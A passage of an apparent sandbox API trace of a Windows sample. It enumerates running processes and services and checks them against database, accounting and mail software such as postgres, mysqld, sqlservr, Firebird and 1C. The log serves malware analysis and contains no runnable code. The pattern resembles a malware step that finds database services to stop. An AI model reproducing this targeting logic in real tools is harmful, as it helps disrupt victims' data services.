lpString2="smss.exe") returned -1 [0168.244] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0168.244] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0168.244] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.245] lstrlenW (lpString="csrss.exe") returned 9 [0168.245] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.245] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.245] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.245] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.245] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.245] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0168.245] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.245] lstrlenW (lpString="wininit.exe") returned 11 [0168.245] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0168.246] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0168.246] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0168.246] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0168.246] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0168.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0168.246] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0168.246] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.246] lstrlenW (lpString="csrss.exe") returned 9 [0168.246] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0168.246] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0168.246] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0168.246] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0168.246] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0168.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0168.246] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.247] lstrlenW (lpString="winlogon.exe") returned 12 [0168.247] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.247] lstrlenW (lpString="services.exe") returned 12 [0168.247] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.248] lstrlenW (lpString="lsass.exe") returned 9 [0168.248] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0168.248] lstrlenW (lpString="lsm.exe") returned 7 [0168.248] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.248] lstrlenW (lpString="svchost.exe") returned 11 [0168.249] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.260] lstrlenW (lpString="svchost.exe") returned 11 [0168.260] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.260] lstrlenW (lpString="svchost.exe") returned 11 [0168.260] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.261] lstrlenW (lpString="svchost.exe") returned 11 [0168.261] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.261] lstrlenW (lpString="svchost.exe") returned 11 [0168.261] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.261] lstrlenW (lpString="audiodg.exe") returned 11 [0168.262] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.262] lstrlenW (lpString="svchost.exe") returned 11 [0168.262] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.262] lstrlenW (lpString="svchost.exe") returned 11 [0168.262] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.263] lstrlenW (lpString="spoolsv.exe") returned 11 [0168.263] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.263] lstrlenW (lpString="taskhost.exe") returned 12 [0168.263] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.263] lstrlenW (lpString="svchost.exe") returned 11 [0168.264] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0168.264] lstrlenW (lpString="userinit.exe") returned 12 [0168.264] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.264] lstrlenW (lpString="dwm.exe") returned 7 [0168.264] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.265] lstrlenW (lpString="explorer.exe") returned 12 [0168.265] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0168.265] lstrlenW (lpString="3G6885.exe") returned 10 [0168.265] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0168.265] lstrlenW (lpString="reader_sl.exe") returned 13 [0168.266] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.266] lstrlenW (lpString="taskhost.exe") returned 12 [0168.266] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0168.266] lstrlenW (lpString="consent.exe") returned 11 [0168.266] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.267] lstrlenW (lpString="dllhost.exe") returned 11 [0168.267] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.267] lstrlenW (lpString="dllhost.exe") returned 11 [0168.267] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0168.267] lstrlenW (lpString="rundll32.exe") returned 12 [0168.268] Process32NextW (in: hSnapshot=0x374, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 0 [0168.268] CloseHandle (hObject=0x374) returned 1 [0168.268] Sleep (dwMilliseconds=0x1f4) [0168.839] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8798 [0168.839] EnumServicesStatusExW (in: hSCManager=0x41d8798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0168.841] GetLastError () returned 0xea [0168.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0168.841] EnumServicesStatusExW (in: hSCManager=0x41d8798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0168.842] CloseServiceHandle (hSCObject=0x41d8798) returned 1 [0168.843] lstrlenW (lpString="Appinfo") returned 7 [0168.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.843] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.843] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.843] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.843] lstrlenW (lpString="AudioSrv") returned 8 [0168.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0168.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0168.843] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0168.843] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0168.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0168.843] lstrlenW (lpString="BFE") returned 3 [0168.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.843] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.843] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.843] lstrlenW (lpString="CryptSvc") returned 8 [0168.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.843] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.843] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.844] lstrlenW (lpString="CscService") returned 10 [0168.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0168.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0168.844] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0168.844] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0168.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0168.844] lstrlenW (lpString="DcomLaunch") returned 10 [0168.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.844] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.844] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.844] lstrlenW (lpString="Dhcp") returned 4 [0168.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.844] lstrlenW (lpString="Dnscache") returned 8 [0168.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.844] lstrlenW (lpString="DPS") returned 3 [0168.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.844] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.845] lstrlenW (lpString="eventlog") returned 8 [0168.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0168.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0168.845] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0168.845] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0168.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0168.845] lstrlenW (lpString="EventSystem") returned 11 [0168.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.845] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.845] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.845] lstrlenW (lpString="gpsvc") returned 5 [0168.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.845] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.845] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.845] lstrlenW (lpString="iphlpsvc") returned 8 [0168.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.845] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.845] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.845] lstrlenW (lpString="LanmanServer") returned 12 [0168.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.846] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.846] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.846] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.846] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.846] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.846] lstrlenW (lpString="lmhosts") returned 7 [0168.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.846] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.846] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.846] lstrlenW (lpString="MMCSS") returned 5 [0168.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0168.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0168.846] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0168.846] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0168.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0168.846] lstrlenW (lpString="MpsSvc") returned 6 [0168.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.846] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.846] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.847] lstrlenW (lpString="Netman") returned 6 [0168.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0168.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0168.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0168.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0168.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0168.847] lstrlenW (lpString="netprofm") returned 8 [0168.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.847] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.847] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.847] lstrlenW (lpString="NlaSvc") returned 6 [0168.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.847] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.847] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.847] lstrlenW (lpString="nsi") returned 3 [0168.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.847] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.847] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.847] lstrlenW (lpString="PcaSvc") returned 6 [0168.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0168.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.848] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.848] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.848] lstrlenW (lpString="PlugPlay") returned 8 [0168.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.848] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.848] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.848] lstrlenW (lpString="Power") returned 5 [0168.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.848] lstrlenW (lpString="ProfSvc") returned 7 [0168.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.848] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.848] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.848] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 